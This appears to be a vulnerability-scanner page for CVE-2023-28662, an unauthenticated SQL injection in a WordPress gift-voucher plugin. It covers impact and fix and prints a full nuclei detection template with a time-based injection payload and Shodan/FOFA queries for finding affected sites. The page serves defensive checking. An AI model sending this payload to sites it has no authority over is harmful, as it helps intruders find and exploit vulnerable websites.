Wordpress Gift Cards <= 4.3.1 - SQL Injection

criticalseverity

9.8CVSS score

42.2%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Gift Cards (Gift Vouchers and Packages) WordPress Plugin, version <= 4.3.1, is affected by an unauthenticated SQL injection vulnerability in the template parameter in the wpgv_doajax_voucher_pdf_save_func action.

Impact

Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.

Fix

Update the Gift Cards (Gift Vouchers and Packages) WordPress Plugin to the latest version available.

How to confirm it

Send: GET /wp-content/plugins/gift-voucher/readme.txt
Positive when: contains "Gift Vouchers and Packages"
Send: @timeout: 20s
Positive when: duration>=6 and status_code == 500 and contains(body, 'critical error')

Run it with nuclei: nuclei -id CVE-2023-28662 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-28662

info:
  name: Wordpress Gift Cards <= 4.3.1 - SQL Injection
  author: xxcdd
  severity: critical
  description: |
    The Gift Cards (Gift Vouchers and Packages) WordPress Plugin, version <= 4.3.1, is affected by an unauthenticated SQL injection vulnerability in the template parameter in the wpgv_doajax_voucher_pdf_save_func action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Update the Gift Cards (Gift Vouchers and Packages) WordPress Plugin to the latest version available.
  reference:
    - https://www.tenable.com/security/research/tra-2023-2
    - https://wordpress.org/plugins/gift-voucher/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/JoshuaMart/JoshuaMart
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28662
    cwe-id: CWE-89
    epss-score: 0.42186
    epss-percentile: 0.98708
    cpe: cpe:2.3:a:codemenschen:gift_vouchers:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: codemenschen
    product: gift_vouchers
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/gift-voucher/"
    fofa-query: "body=\"/wp-content/plugins/gift-voucher/\""
  tags: time-based-sqli,cve,cve2023,wordpress,wp,wp-plugin,sqli,unauth,gift-voucher,codemenschen,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/gift-voucher/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Gift Vouchers and Packages'

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpgv_doajax_voucher_pdf_save_func&template=LTEgT1IgU0xFRVAoNik=

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 500
          - contains(body, 'critical error')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from